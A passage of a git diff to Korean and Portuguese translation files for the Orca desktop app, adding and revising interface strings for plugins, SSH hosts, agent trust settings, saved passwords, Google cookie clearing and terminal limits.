           "offDescription": "흐린 텍스트와 Powerline 구분 기호를 포함해 프로그램 색상을 그대로 유지합니다.",
           "customDescription": "텍스트와 배경 사이의 대비를 얼마나 높일지 선택합니다.",
           "auto": "자동",
-          "off": "끔",
+          "off": "끄다",
           "custom": "사용자 지정",
           "targetDescription": "가능한 경우 값이 높을수록 대비가 증가합니다. 배경색은 변경되지 않습니다.",
           "subtle": "미묘한",
@@ -12106,7 +12185,9 @@
           "automationsLeftDisabled_one": "이 호스트의 Orca 서버가 자동화 {{count}}개를 인계받았지만 다시 켜지 못했습니다. 자동화에서 켜세요.",
           "automationsLeftDisabled_other": "이 호스트의 Orca 서버가 자동화 {{count}}개를 인계받았지만 다시 켜지 못했습니다. 자동화에서 켜세요.",
           "windowsBuildUnsupported": "이 호스트는 Windows 10 및 Windows Server 2016보다 오래된 Windows 버전을 실행하므로 Orca 서버를 실행할 수 없습니다. 더 최신 버전의 Windows를 실행하는 호스트나 Linux 또는 macOS 호스트를 사용하세요.",
-          "windowsNoExtractor": "이 Windows 호스트에는 tar.exe와 PowerShell의 Expand-Archive가 모두 없어 Orca가 서버의 압축을 풀 수 없습니다. 호스트에 Windows PowerShell 5.1을 설치한 다음 다시 연결하세요."
+          "windowsNoExtractor": "이 Windows 호스트에는 tar.exe와 PowerShell의 Expand-Archive가 모두 없어 Orca가 서버의 압축을 풀 수 없습니다. 호스트에 Windows PowerShell 5.1을 설치한 다음 다시 연결하세요.",
+          "linkedProjects": "이 호스트의 Orca 서버에 {{paths}}이(가) 이미 있어 이 데스크톱은 이제 서버의 사본을 사용합니다. 이 데스크톱의 탭과 자동화 {{count}}개는 이동되지 않았으며, 여기서 만든 워크트리는 외부 워크트리로 표시됩니다.",
+          "olderTerminals": "이전 버전의 Orca에서 시작한 터미널 {{count}}개가 이 호스트에서 아직 실행 중이며 저절로 종료되지 않습니다. 해당 버전의 Orca에서 닫거나 호스트에서 종료한 후 다시 연결하세요."
         },
         "deltaMove": {
           "action": "새 프로젝트 이동…",
@@ -12245,7 +12326,7 @@
         "SshRestoreRemovedHosts": {
           "title": "제거한 호스트를 복원할까요?",
           "description": "Orca에서 제거한 ~/.ssh/config 호스트가 설정과 모든 호스트 선택 목록에 다시 표시됩니다.",
-          "none": "Orca에서 제거한 ~/.ssh/config 호스트 중 복원할 수 있는 호스트가 없습니다.",
+          "none": "~/.ssh/config에서 제거한 호스트가 없습니다.",
           "confirm": "복원"
         },
         "SshTargetList": {
@@ -12583,12 +12664,12 @@
         },
         "PluginInstallConsent": {
           "noOtherAccess": "다른 접근 권한 없음",
-          "replacesShortcut": "{{value0}}({{value1}})이(가) {{value2}}의 단축키를 대체합니다.",
+          "replacesShortcut": "{{value0}}({{value1}})이(가) {{value2}} 단축키를 대체합니다.",
           "updatesKeepApproval": "업데이트는 새 접근 권한이 있을 때만 다시 묻습니다",
           "fullAccessUpdates": "업데이트가 묻지 않고 코드를 바꿀 수 있습니다",
-          "editsFileTypes": "Orca에서 {{value0}} 파일을 열고 편집합니다. 연 파일을 읽을 수 있습니다.",
-          "install": "설치 및 사용",
-          "keepOff": "끈 상태로 유지"
+          "editsFileTypes": "Orca에서 {{value0}} 파일을 열고 편집합니다. 연 파일을 읽을 수도 있습니다.",
+          "install": "설치 및 활성화",
+          "keepOff": "꺼짐 유지"
         },
         "PluginPageAction": {
           "contentOnly": "콘텐츠만",
@@ -12682,13 +12763,13 @@
           "translations": "번역은 Orca의 모든 텍스트를 바꿀 수 있습니다. {{value0}}을(를) 신뢰할 수 있는지 확인하세요."
         },
         "pluginConsentCopy": {
-          "addsCommands": "명령 추가",
-          "addsPanel": "패널 추가",
+          "addsCommands": "명령을 추가합니다",
+          "addsPanel": "패널을 추가합니다",
           "contentOnly": "콘텐츠만",
-          "fullAccess": "전체 액세스",
-          "addsVmRecipes": "VM 레시피 추가",
-          "opensAndEditsFiles": "파일 열기 및 편집",
-          "runsPluginCode": "플러그인 코드 실행"
+          "fullAccess": "전체 접근 권한",
+          "addsVmRecipes": "VM 레시피를 추가합니다",
+          "opensAndEditsFiles": "파일을 열고 편집합니다",
+          "runsPluginCode": "플러그인 코드를 실행합니다"
         },
         "pluginTryAction": {
           "incompleteLanguage": "이 언어 팩은 번역이 너무 불완전해서 전환할 수 없습니다."
@@ -12724,7 +12805,7 @@
         "PluginPageHero": {
           "screenshots": "스크린샷",
           "openScreenshot": "스크린샷 열기: {{value0}}",
-          "position": "{{value0}} / {{value1}}",
+          "position": "{{value1}}개 중 {{value0}}번째",
           "previous": "이전 스크린샷",
           "next": "다음 스크린샷"
         },
@@ -12752,27 +12833,6 @@
           "shownPluginCount_one": "이 플러그인을 포함해 일치하는 플러그인 {{count}}개 표시 중",
           "shownPluginCount_other": "이 플러그인을 포함해 일치하는 플러그인 {{count}}개 표시 중",
           "samePublisher": "{{value0}}(으)로 등록된 다른 플러그인"
-        },
-        "RepositorySourceControlAiSection": {
-          "112f3b934f": "소스 제어 AI"
-        },
-        "keep": {
-          "local": {
-            "main": {
-              "up": {
-                "to": {
-                  "date": {
-                    "setting": {
-                      "f4c23aee76": "로컬 main을 최신 상태로 유지"
-                    }
-                  }
-                }
-              }
-            }
-          }
-        },
-        "BrowserUseEnableSwitch": {
-          "ce4d6f80d8": "에이전트 브라우저 사용 활성화"
         }
       },
       "right": {
@@ -13651,7 +13711,7 @@
                     },
                     "d481ab22f9": "저장된 AI 에이전트를 사용할 수 없습니다. 사용자 지정 시작에서 다른 에이전트를 선택하세요.",
                     "9bbd9077a2": "활성화된 AI 에이전트가 없습니다. 설정에서 에이전트를 구성하세요.",
-                    "216f762bd7": "워크스페이스 연결을 확인할 수 없습니다.",
+                    "216f762bd7": "워크트리 연결을 확인할 수 없습니다.",
                     "success": "{{value0}} 실패에 대한 AI 에이전트가 시작되었습니다."
                   }
                 }
@@ -14366,7 +14426,8 @@
           "yoloModeLabel": "Yolo 모드",
           "yoloPermissionsDescription": "agents가 묻지 않고 명령을 실행하고 파일을 편집하며, 일부는 샌드박스도 우회합니다. 신뢰할 수 있는 프로젝트에서만 사용하세요.",
           "showMoreAgents_other": "에이전트 {{count}}개 더 보기 →",
-          "agentNotOnPath": "<agent>{{agent}}</agent>이(가) 아직 PATH에 없습니다. Orca가 기본값으로 설정하며, 언제든 설치할 수 있습니다."
+          "agentNotOnPath": "<agent>{{agent}}</agent>이(가) 아직 PATH에 없습니다. Orca가 기본값으로 설정하며, 언제든 설치할 수 있습니다.",
+          "showMoreAgents": "agents {{value0}}개 더 보기→"
         },
         "IntegrationsStep": {
           "277f30eb34": "Linear, GitLab, Bitbucket, Azure DevOps, Gitea 및 Jira는 설정 > 연동에 있습니다.",
@@ -14836,7 +14897,7 @@
           },
           "FloatingTerminalToggleButton": {
             "3b04b065b5": "플로팅 워크스페이스 표시",
-            "4cb418b991": "플로팅 워크스페이스 표시, 새 활동",
+            "4cb418b991": "플로팅 워크트리 표시, 새 활동",
             "5785dd9148": "플로팅 워크스페이스 최소화",
             "bfe7809a70": "{{value0}} 플로팅 워크스페이스({{value1}})"
           },
@@ -15419,7 +15480,8 @@
           "showAiNotes_other": "AI 노트 {{count}}개 표시",
           "send": "보내기",
           "openDiff": "차이점 열기",
-          "openInEditor": "편집기에서 열기"
+          "openInEditor": "편집기에서 열기",
+          "skippedConflictsExcluded": "미해결 충돌 {{count}}개가 이 차이점 보기에서 제외되었습니다."
         },
         "ConflictComponents": {
           "f338288514": "충돌 콘텐츠 로드 중...",
@@ -17462,7 +17524,10 @@
           "markManyUnread_one": "에이전트 {{count}}개 읽지 않은 것으로 표시",
           "markManyUnread_other": "에이전트 {{count}}개 읽지 않은 것으로 표시",
           "clearMany_one": "목록에서 에이전트 {{count}}개 지우기",
-          "clearMany_other": "목록에서 에이전트 {{count}}개 지우기"
+          "clearMany_other": "목록에서 에이전트 {{count}}개 지우기",
+          "clearMany": "목록에서 에이전트 {{count}}개 지우기",
+          "markManyRead": "에이전트 {{count}}개 읽음으로 표시",
+          "markManyUnread": "에이전트 {{count}}개 읽지 않은 것으로 표시"
         }
       },
       "confirmation": {
@@ -17623,7 +17688,8 @@
               "searchProjects": "프로젝트 검색...",
               "noMatches": "검색과 일치하는 프로젝트가 없습니다.",
               "chooseSource": "작업 소스 선택",
-              "hostCount_other": "호스트 {{count}}개"
+              "hostCount_other": "호스트 {{count}}개",
+              "hostCount": "호스트 {{value0}}개"
             }
           }
         },
@@ -17724,10 +17790,10 @@
       },
       "linear-issue-attribute-filter-dropdowns": {
         "removeFilter": "{{value0}} 필터 제거",
-        "teamRequired": "이 워크스페이스의 상태, 담당자, 레이블을 로드하려면 팀을 선택하세요.",
+        "teamRequired": "이 워크트리의 상태, 담당자, 레이블을 로드하려면 팀을 선택하세요.",
         "filters": "필터",
-        "allWorkspacesTitle": "워크스페이스 선택",
-        "allWorkspacesBody": "상태, 담당자, 레이블 필터는 단일 Linear 워크스페이스의 ID를 사용합니다. 해당 속성으로 필터링할 워크스페이스 하나를 선택하세요.",
+        "allWorkspacesTitle": "워크트리 선택",
+        "allWorkspacesBody": "상태, 담당자, 레이블 필터는 단일 Linear 워크스페이스의 ID를 사용합니다. 필터링할 워크트리를 선택하세요.",
         "clearAll": "모든 필터 지우기",
         "partialCoverage": "부분 연결",
         "partialCoverageTitle": "일부 팀은 이 필터에서 제외될 수 있습니다. 자세한 내용을 보려면 필터를 여세요."
@@ -17736,7 +17802,6 @@
         "status": "상태",
         "priority": "우선순위",
         "assignee": "담당자",
-        "unassigned": "미배정",
         "labels": "레이블",
         "countSelected": "{{count}}개 선택됨",
         "selected": "선택됨",
@@ -17795,11 +17860,11 @@
           "searchPlaceholder": "플러그인 검색",
           "updates": "업데이트",
           "clearSearch": "검색 지우기",
-          "notInstalled": "설치 안 됨"
+          "notInstalled": "설치되지 않음"
         },
         "PluginListGroup": {
           "showAll": "{{value0}}개 더 보기",
-          "showAllTotal": "플러그인 {{value0}}개 모두 보기"
+          "showAllTotal": "플러그인 {{value0}}개 모두 표시"
         },
         "PluginListRow": {
           "official": "공식"
@@ -17815,7 +17880,9 @@
         "failingChip": "{{value0}} 실패",
         "pendingChip": "{{value0}} 보류 중",
         "needsActionChip": "{{value0}}개 조치 필요",
-        "unresolvedChip": "{{value0}}개 미해결"
+        "unresolvedChip": "{{value0}}개 미해결",
+        "noChecks": "검사를 찾을 수 없음",
+        "passingSummary": "{{value0}}/{{value1}}개 검사 통과"
       },
       "artifacts": {
         "ArtifactsPage": {
@@ -18308,14 +18375,10 @@
         }
       },
       "agent-workspace-trust-decision": {
-        "prompt-title": "{{repo}}을(를) 에이전트용으로 신뢰할까요?",
-        "prompt-description": "Claude Code, Codex 같은 에이전트는 명령을 실행할 수 있는 프로젝트 자체의 에이전트 설정과 훅을 불러오기 전에 \"Do you trust this folder?\"라고 묻습니다. Orca가 이 저장소의 모든 작업 트리에서 대신 \"예\"라고 답할 수 있습니다.",
-        "prompt-remembered": "Orca는 이 저장소에 대한 답변을 기억합니다. 저장소 설정에서 변경할 수 있습니다.",
         "trust-repository": "저장소 신뢰",
         "let-agents-ask": "에이전트가 묻도록 하기",
         "setting-title": "에이전트 폴더 신뢰",
         "setting-description": "이 저장소의 작업 트리에서 Orca가 시작한 에이전트가 \"Do you trust this folder?\" 확인을 건너뛰고 프로젝트의 에이전트 설정과 훅을 바로 불러올지 정합니다.",
-        "setting-undecided": "아직 정하지 않았습니다. 다음에 여기서 에이전트를 시작하면 Orca가 묻습니다.",
         "setting-global-off": "에이전트 설정에서 폴더 신뢰가 꺼져 있으므로 에이전트가 항상 확인을 요청합니다.",
         "keyword-trust": "신뢰",
         "keyword-hooks": "훅"
@@ -19016,7 +19079,8 @@
         "updated": "{{task}} 업데이트됨",
         "unchanged": "변경되지 않은 작업",
         "showAll": "전체 작업 목록",
-        "progress_other": "작업 {{count}}개 중 {{completed}}개 완료"
+        "progress_other": "작업 {{count}}개 중 {{completed}}개 완료",
+        "progress": "{{total}} 작업 중 {{completed}} 완료됨"
       },
       "turnDiff": {
         "partial": "부분적인 차이점",
@@ -19102,6 +19166,14 @@
         "stateDoneCount_other": "완료: {{value0}}",
         "stateIdleCount_other": "중지됨: {{value0}}",
         "stateUnverifiableCount_other": "상태 확인 불가: {{value0}}",
+        "headerTotal": "{{value0}} 백그라운드 작업",
+        "stateBlockedCount": "{{value0}} 막힌",
+        "stateDoneCount": "{{value0}} 완료",
+        "stateIdleCount": "{{value0}} 중지됨",
+        "stateMonitoringCount": "{{value0}} 모니터링",
+        "stateUnverifiableCount": "{{value0}} 상태를 확인할 수 없음",
+        "stateWaitingCount": "{{value0}} 대기 중",
+        "stateWorkingCount": "{{value0}} 작업 중",
         "showAgent": "대화에 {{value0}} 표시"
       },
       "railLabel": "귀하의 메시지",
@@ -19111,7 +19183,8 @@
         "awaiting": "사용자 입력을 기다리는 중:",
         "awaitingUnnamed": "사용자 입력을 기다리는 중",
         "asked": "질문:",
-        "questionCount_other": "질문 {{count}}개"
+        "questionCount_other": "질문 {{count}}개",
+        "questionCount": "{{value0}} 질문"
       },
       "subagents": {
         "state": {
@@ -19125,7 +19198,12 @@
           "idleCount_other": "{{count}}개 유휴",
           "failedCount_other": "{{count}}개 실패",
           "stoppedCount_other": "{{count}}개 중지됨",
-          "unverifiableCount_other": "{{count}}개 상태 확인 불가"
+          "unverifiableCount_other": "{{count}}개 상태 확인 불가",
+          "failedCount": "{{value0}} 실패",
+          "idleCount": "{{value0}} 유휴",
+          "stoppedCount": "{{value0}} 중지됨",
+          "unverifiableCount": "{{value0}} 상태를 확인할 수 없음",
+          "workingCount": "{{value0}} 작업 중"
         },
         "tokens": "{{value0}} 토큰",
         "unnamed": "하위 에이전트",
@@ -19230,12 +19308,13 @@
         "clearAll": "모두 지우기",
         "moveChanged": "이동하기 전에 대기열이 변경되었습니다. 메시지를 다시 드래그해 보세요.",
         "reorderHint": "드래그하거나 위쪽 및 아래쪽 화살표 키를 사용하여 순서를 변경하세요.",
-        "reorderMessage": "메시지 순서 변경"
+        "reorderMessage": "메시지 순서 변경",
+        "imageCount": "이미지 {{count}}개"
       },
       "thought": "생각함",
       "thoughtForDuration": "{{duration}} 동안 생각함",
       "structuredSessionHostDeclined": "{{value0}}을(를) 터미널에서 열었습니다",
-      "structuredSessionHostDeclinedDescription": "이 워크스페이스에서는 {{value0}} 채팅을 실행할 수 없습니다.",
+      "structuredSessionHostDeclinedDescription": "이 서버는 이 워크스페이스에서 {{value0}} 채팅을 실행할 수 없습니다.",
       "structuredSessionHostUnreachable": "{{value0}}에 연결할 수 없습니다",
       "structuredSessionHostUnreachableDescription": "Orca가 {{value0}} 채팅을 열지 않았습니다. 서버 연결을 확인하고 다시 시도하세요.",
       "hostOutage": {
@@ -20323,23 +20402,19 @@
     }
   },
   "browser": {
-    "passwords": {
-      "savePrompt": {
-        "open": "비밀번호 저장 안내",
-        "updateTitle": "비밀번호를 업데이트할까요?",
-        "saveTitle": "비밀번호를 저장할까요?",
-        "username": "사용자 이름",
-        "password": "비밀번호",
-        "never": "이 사이트에서는 저장 안 함",
-        "notNow": "나중에",
-        "update": "업데이트",
-        "save": "저장"
-      },
-      "fill": {
-        "noUsername": "(사용자 이름 없음)",
-        "title": "저장된 로그인 정보",
-        "otherLogins": "이 사이트의 다른 로그인 정보"
-      }
+    "googleCookieClear": {
+      "signInKeyword": "로그인",
+      "unavailable": "선택한 호스트에서 이 프로필을 사용할 수 없습니다.",
+      "explanation": "Google은 로그인 상태를 로그인한 브라우저에 연결하므로 Orca는 다른 브라우저에서 Google 쿠키를 가져오지 않습니다. Google이 잘못된 계정에 고정되어 있거나 계속 로그아웃된다면 활성 프로필의 Google 쿠키를 지운 다음 Orca에서 Google에 다시 로그인하세요. 다른 사이트는 로그인 상태로 유지됩니다.",
+      "action": "Google 쿠키 지우기…",
+      "confirmTitle": "{{profile}}의 Google 쿠키를 지울까요?",
+      "confirmDescription": "이 프로필에서는 Orca 브라우저에서 Google 로그아웃됩니다. 다른 사이트는 로그인 상태로 유지됩니다.",
+      "clear": "지우기",
+      "cancel": "취소",
+      "cleared": "{{profile}}의 Google 쿠키를 지웠습니다.",
+      "empty": "{{profile}}에 지울 Google 쿠키가 없습니다.",
+      "remaining": "{{profile}}에서 일부 Google 쿠키를 제거하지 못했습니다. 다시 시도하세요.",
+      "unverified": "{{profile}}의 Google 쿠키를 확인할 수 없습니다. 다시 시도하세요."
     },
     "loadFailure": {
       "connectionNotSecure": "연결이 안전하지 않습니다",
@@ -20553,6 +20628,24 @@
         "imported_other": "{{domains}}의 쿠키 {{count}}개를 가져왔습니다. 사용하려면 페이지를 새로고침하세요.",
         "failed": "쿠키를 가져오지 못했습니다: {{reason}}"
       }
+    },
+    "passwords": {
+      "savePrompt": {
+        "open": "비밀번호 저장 안내",
+        "updateTitle": "비밀번호를 업데이트할까요?",
+        "saveTitle": "비밀번호를 저장할까요?",
+        "username": "사용자 이름",
+        "password": "비밀번호",
+        "never": "이 사이트에서는 저장 안 함",
+        "notNow": "나중에",
+        "update": "업데이트",
+        "save": "저장"
+      },
+      "fill": {
+        "noUsername": "(사용자 이름 없음)",
+        "title": "저장된 로그인 정보",
+        "otherLogins": "이 사이트의 다른 로그인 정보"
+      }
     }
   },
   "runtimeRpc": {
@@ -21608,7 +21701,10 @@
       "reopened_one": "터미널 {{count}}개를 다시 열었습니다",
       "reopened_other": "터미널 {{count}}개를 다시 열었습니다",
       "resumed_one": "에이전트 세션 {{count}}개가 재개되었습니다.",
-      "resumed_other": "에이전트 세션 {{count}}개가 재개되었습니다."
+      "resumed_other": "에이전트 세션 {{count}}개가 재개되었습니다.",
+      "reopenTerminal": "터미널 {{count}}개 다시 열기",
+      "reopened": "터미널 {{count}}개를 다시 열었습니다",
+      "resumed": "에이전트 세션 {{count}}개가 재개되었습니다."
     },
     "severedDaemonBanner": {
       "unknownCount": "실행 중인 터미널",
@@ -21625,7 +21721,8 @@
       "cancel": "취소",
       "confirm": "다시 시작하고 프로세스 종료",
       "count_other": "실행 중인 터미널 {{count}}개",
-      "count_one": "실행 중인 터미널 {{count}}개"
+      "count_one": "실행 중인 터미널 {{count}}개",
+      "count": "실행 중인 터미널 {{count}}개"
     },
     "restartedInputNotSent": "입력하는 동안 터미널이 다시 시작되어 일부 입력이 전달되지 않았을 수 있습니다. 다시 입력하기 전에 새 셸을 확인하세요.",
     "typingBeforeStartNotSent": "터미널이 시작되는 동안 입력한 일부 키는 전송되지 않았습니다.",
diff --git a/src/renderer/src/i18n/locales/pt.json b/src/renderer/src/i18n/locales/pt.json
index d6a9f26f7dc..29acb432974 100644
--- a/src/renderer/src/i18n/locales/pt.json
+++ b/src/renderer/src/i18n/locales/pt.json
@@ -375,7 +375,8 @@
       "scannerStopped": "O verificador de sessões parou inesperadamente. Atualize para tentar novamente."
     },
     "sessionAccount": "Conta",
-    "sessionAccountUnknown": "Desconhecido"
+    "sessionAccountUnknown": "Desconhecido",
+    "antigravityChatToCli": "Bate-papo → CLI"
   },
   "checksPanel": {
     "unlinked": {
@@ -409,6 +410,10 @@
         "noContent": "Nenhum conteúdo para exportar",
         "timedOut": "O tempo limite da exportação foi excedido"
       }
+    },
+    "diffTooLarge": {
+      "title": "Arquivo muito grande para comparação",
+      "detail": "Uma versão deste arquivo tem mais de 10 MB, então o Orca não o carrega para uma comparação de texto."
     }
   },
   "notifications": {
@@ -618,7 +623,10 @@
         "needsAttention_one": "{{count}} agente precisa de atenção",
         "needsAttention_other": "Todos os {{count}} agentes precisam de atenção",
         "needsAttention_many": "Todos os {{count}} agentes precisam de atenção"
-      }
+      },
+      "idleChildCount": "{{count}} inativos",
+      "hideIdleChildren": "Ocultar {{count}} agentes filhos inativos",
+      "showIdleChildren": "Mostrar {{count}} agentes filhos ociosos"
     },
     "cardProperties": {
       "agentModel": "Modelo do agente"
@@ -749,7 +757,13 @@
       "demoCookie": "cookie",
       "openSettings": "Abrir Configurações",
       "switchedNoteTitle": "Novos agentes serão abertos no Chat UI",
-      "switchedNoteBody": "Prefere o terminal? Volte quando quiser: procure <term>Chat UI</term> em Configurações."
+      "switchedNoteBody": "Prefere o terminal? Volte quando quiser: procure <term>Chat UI</term> em Configurações.",
+      "changeInSettings": "Altere a qualquer momento em <link>Configurações → Interface de chat</link>.",
+      "switchToTerminal": "Mudar para terminal",
+      "saveFailed": "Não foi possível ativar a interface de chat. Ative-a em Configurações → Interface de chat.",
+      "terminalSaveFailed": "Não foi possível mudar para o terminal. Desative a interface de chat em Configurações → Interface de chat.",
+      "switched": "A interface de chat agora é o padrão para novos agentes. Você pode voltar a qualquer momento em Configurações → Interface de chat.",
+      "dismiss": "Descartar"
     }
   },
   "rendererRecovery": {
@@ -829,7 +843,8 @@
         "unreachable": "inacessível",
         "scopeNotFound": "escopo de busca não encontrado nesse host",
         "agentNotSupported": "agente não compatível"
-      }
+      },
+      "consent": "Ativar a busca em texto completo? O Orca cria um índice neste computador a partir das transcrições locais dos agentes, incluindo conversas completas. O conteúdo não é ocultado. Clientes pareados autenticados podem pesquisá-lo."
     }
   },
   "menu": {
@@ -907,7 +922,8 @@
       "openInSidebar": "Abrir na barra lateral",
       "openInSidebarCopy": "Digite o que você lembra, ou peça a um agente: “encontre a sessão em que corrigimos o timeout de login.”",
       "open": "Abrir",
-      "enableOnAll": "Ativar em todos os computadores"
+      "enableOnAll": "Ativar em todos os computadores",
+      "computersConsent": "Cada computador mantém seu próprio índice pesquisável das conversas de agentes. Clientes pareados e autenticados podem receber resultados de busca."
     },
     "dialog": {
       "select": "Selecionar",
@@ -1012,7 +1028,8 @@
     "terminal": {
       "remotePreviewUnavailable": "Nenhuma pré-visualização para esta sessão remota — abra o espaço de trabalho para ver o terminal.",
       "focusWorktree": "Abrir worktree",
-      "close": "Fechar"
+      "close": "Fechar",
+      "previewUnavailable": "Nenhuma visualização disponível — abra o espaço de trabalho para visualizar este agente."
     },
     "filters": {
       "remove": "Remover filtro {{label}}",
@@ -1265,6 +1282,38 @@
         "imported_many": "{{count}} cookies importados para {{domains}}. Recarregue a página para usá-los.",
         "failed": "Não foi possível importar cookies: {{reason}}"
       }
+    },
+    "googleCookieClear": {
+      "signInKeyword": "entrar",
+      "unavailable": "Indisponível para este perfil no host selecionado.",
+      "explanation": "O Google vincula seus logins ao navegador em que foram feitos, portanto, o Orca não importa cookies do Google de outros navegadores. Se o Google estiver preso na conta errada ou continuar desconectando você, limpe os cookies do Google do perfil ativo e faça login no Google novamente no Orca. Outros sites permanecem conectados.",
+      "action": "Limpar cookies do Google…",
+      "confirmTitle": "Limpar cookies do Google de {{profile}}?",
+      "confirmDescription": "Você será desconectado do Google no navegador do Orca para este perfil. Outros sites permanecem conectados.",
+      "clear": "Limpar",
+      "cancel": "Cancelar",
+      "cleared": "Cookies do Google apagados de {{profile}}.",
+      "empty": "Nenhum cookie do Google para limpar em {{profile}}.",
+      "remaining": "Não foi possível remover alguns cookies do Google de {{profile}}. Tente novamente.",
+      "unverified": "Não foi possível verificar os cookies do Google de {{profile}}. Tente novamente."
+    },
+    "passwords": {
+      "savePrompt": {
+        "open": "Oferta para salvar senha",
+        "updateTitle": "Atualizar senha?",
+        "saveTitle": "Salvar senha?",
+        "username": "Nome de usuário",
+        "password": "Senha",
+        "never": "Nunca para este site",
+        "notNow": "Agora não",
+        "update": "Atualizar",
+        "save": "Salvar"
+      },
+      "fill": {
+        "noUsername": "(sem nome de usuário)",
+        "title": "Logins salvos",
+        "otherLogins": "Outros logins neste site"
+      }
     }
   },
   "settings": {
@@ -1339,6 +1388,31 @@
         "terminalControlledTooltip": "Usando a aparência da interface do terminal. Desative Usar aparência da interface do terminal para alterar isto.",
         "fontKeywordTypeface": "tipo de letra",
         "fontKeywordTypography": "tipografia"
+      },
+      "editorTheme": {
+        "light": "Tema claro do editor",
+        "lightDescription": "Cores do editor de código, dos diffs e dos notebooks quando o aplicativo usa o tema claro.",
+        "dark": "Tema escuro do editor",
+        "darkDescription": "Cores do editor de código, dos diffs e dos notebooks quando o aplicativo usa o tema escuro.",
+        "followApp": "Igual ao tema do aplicativo",
+        "title": "Tema do editor",
+        "description": "Cores do editor de código, dos diffs e dos notebooks, independentemente do tema do aplicativo.",
+        "keyword": {
+          "editor": "editor",
+          "code": "código",
+          "monaco": "monaco",
+          "syntax": "sintaxe"
+        }
+      },
+      "reduceVisualEffects": {
+        "description": "Desative o desfoque atrás de caixas de diálogo e menus e a translucidez da janela após reiniciar. Ajuda desktops e máquinas remotas sem GPU.",
+        "keywords": {
+          "blur": "desfoque",
+          "transparency": "transparência",
+          "performance": "desempenho",
+          "remote": "remoto",
+          "gpu": "GPU"
+        }
       }
     },
     "browser": {
@@ -1442,6 +1516,87 @@
           "browse": "Explorar a Chrome Web Store",
           "openFailed": "Abra um espaço de trabalho para explorar a Chrome Web Store."
         }
+      },
+      "passwords": {
+        "searchKeywords": {
+          "passwords": "senhas",
+          "autofill": "preenchimento automático",
+          "vault": "cofre",
+          "logins": "logins",
+          "import": "importar",
+          "csv": "csv",
+          "touchId": "touch id"
+        },
+        "authFailed": "Não foi possível confirmar que foi você",
+        "copied": "Senha copiada. Orca limpa da área de transferência em 2 minutos.",
+        "search": "Pesquisar entre {{count}} senhas",
+        "add": "Adicionar",
+        "noMatches": "Nenhuma senha salva corresponde.",
+        "noUsername": "(sem nome de usuário)",
+        "edit": "Editar",
+        "copy": "Copiar senha",
+        "delete": "Excluir…",
+        "neverHeading": "Nunca salvo em {{count}} sites",
+        "removeNever": "Remover",
+        "importFailed": "Não foi possível importar senhas",
+        "importDuplicates": "{{count}} já salvo",
+        "importConflicts": "{{count}} mantido porque uma senha diferente foi salva",
+        "importInvalid": "{{count}} linhas ilegíveis",
+        "importUndecryptable": "{{count}} protegido pelo navegador; exporte um CSV dele",
+        "imported": "{{count}} senhas importadas",
+        "deleteAllConfirmTitle": "Excluir todos os dados de senha?",
+        "deleteAllConfirmDescription": "Cada senha salva no perfil {{profile}} é excluída permanentemente. Isso não pode ser desfeito.",
+        "deleteAll": "Excluir dados",
+        "deletedAll": "Dados de senha excluídos",
+        "form": {
+          "invalidSite": "Insira um endereço de site, como exemplo.com.",
+          "invalidPassword": "Digite uma senha.",
+          "duplicate": "Uma senha para este nome de usuário já está salva neste site.",
+          "unavailable": "Não foi possível salvar esta senha.",
+          "editTitle": "Editar senha",
+          "addTitle": "Adicionar senha",
+          "site": "Site",
+          "sitePlaceholder": "example.com",
+          "username": "Nome de usuário",
+          "password": "Senha",
+          "currentHint": "Salve a senha que você usa neste site hoje.",
+          "note": "Nota",
+          "cancel": "Cancelar",
+          "save": "Salvar",
+          "description": "O Orca o preenche quando você o seleciona em um campo de login neste site.",
+          "usernamePlaceholder": "E-mail ou nome de usuário",
+          "addNote": "Adicione uma nota"
+        },
+        "hide": "Ocultar senha",
+        "show": "Mostrar senha",
+        "offerToSave": "Oferecer opção de salvar senhas",
+        "offerToSaveDescription": "Após entrar em um site no navegador do Orca, oferecer a opção de salvar o login.",
+        "fillReauth": "Exigir Touch ID antes de preencher",
+        "fillReauthDescription": "Para computadores compartilhados. A exibição ou cópia de uma senha já exige autenticação.",
+        "noReauth": "Este computador não pode confirmar sua identidade com o Touch ID, então as senhas são exibidas e preenchidas sem verificação.",
+        "reauthUnavailable": "O Touch ID não pode ser usado no momento, então o Orca não mostrará, copiará ou preencherá uma senha que precise dele.",
+        "import": "Importar",
+        "importCsv": "De um arquivo CSV…",
+        "deleteAllTitle": "Excluir todos os dados de senhas",
+        "deleteAllDescription": "Todas as senhas salvas, notas e sites marcados para nunca salvar no perfil {{profile}}.",
+        "empty": "O Orca oferece a opção de salvar um login após você entrar em um site. Você também pode importá-los de outro navegador ou de um arquivo CSV.",
+        "moreActions": "Mais ações para {{account}}",
+        "deleteConfirmTitle": "Excluir a senha do {{site}} para {{username}}?",
+        "deleteConfirmDescription": "O Orca não preencherá mais essa senha. Isso não pode ser desfeito.",
+        "deleteConfirm": "Excluir",
+        "profileDescription": "Logins salvos para o perfil {{profile}}. O Orca preenche um somente quando você o seleciona em um campo de login.",
+        "unavailableTitle": "As senhas salvas estão desativadas neste computador",
+        "emptyTitle": "Nenhuma senha salva ainda",
+        "searchLabel": "Pesquisar senhas",
+        "deleteAllAction": "Excluir…",
+        "title": "Senhas",
+        "description": "Logins salvos no navegador do Orca: adicione, importe, edite e exclua.",
+        "httpSuffix": " · http",
+        "account": "{{username}} em {{site}}",
+        "lastUsed": "Usado {{when}}",
+        "copyFor": "Copiar senha para {{account}}",
+        "editFor": "Editar {{account}}",
+        "accountCount": "{{count}} contas"
       }
     },
     "chat": {
@@ -1525,7 +1680,28 @@
         "10aafff216": "Abrir Gerenciar sessões"
       },
       "limit": {
-        "savedUnreadable": "Não foi possível ler o limite de terminais salvo neste host. Usando {{value}}. Digite um valor e pressione Enter para substituí-lo."
+        "savedUnreadable": "Não foi possível ler o limite de terminais salvo neste host. Usando {{value}}. Digite um valor e pressione Enter para substituí-lo.",
+        "label": "Número máximo de terminais em execução",
+        "description": "Limita o número de terminais em execução entre os projetos deste host.",
+        "system": "Limite de PTY do sistema: {{value}}",
+        "unknown": "Indisponível",
+        "shared": "Compartilhado com outros aplicativos de terminal. Esta é a capacidade total, não os slots livres.",
+        "disconnected": "Este host está desconectado. Reconecte para visualizar ou alterar seu limite de terminal.",
+        "unsupported": "O serviço de terminal deste host ainda não suporta a alteração desse limite.",
+        "environment": "Esta instância do Orca tem um limite de terminais definido pelo ambiente. Remova essa configuração neste host para editá-la aqui.",
+        "failed": "Não foi possível confirmar o limite do terminal. Tente novamente.",
+        "retry": "Tentar novamente",
+        "unit": "terminais",
+        "search": {
+          "limit": "limite",
+          "maximum": "máximo",
